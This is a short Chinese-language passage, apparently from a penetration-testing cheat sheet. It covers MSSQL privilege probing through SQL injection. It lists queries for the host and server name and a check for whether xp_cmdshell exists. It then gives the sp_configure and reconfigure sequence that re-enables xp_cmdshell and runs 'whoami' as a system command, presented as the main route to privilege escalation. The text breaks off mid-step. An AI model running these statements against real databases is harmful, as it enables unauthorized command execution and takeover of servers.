权限探测
select HOST_NAME(),@@SERVERNAME;
利用and逻辑语句判断是否站库分离
判断xp_cmdshell是否开启?
存储过程中的xp_cmdshell可执行系统命令,是后续提权操作的主要方式,从MSSQL2005版本之后,默认关闭,如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启
首先判断xp_cmdshell是否开启,1为打开,0为关闭
select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
如果关闭,逐步执行下列语句
execute('sp_configure "show advanced options",1')将该选项的值设置为1
execute('reconfigure')保存设置
execute('sp_configure "xp_cmdshell", 1')将xp_cmdshell的值设置为1
execute('reconfigure')保存设置
execute('sp_configure')查看配置
execute('xp_cmdshell "whoami"')执行系统命令
或
exec sp_configure 'show advanced options'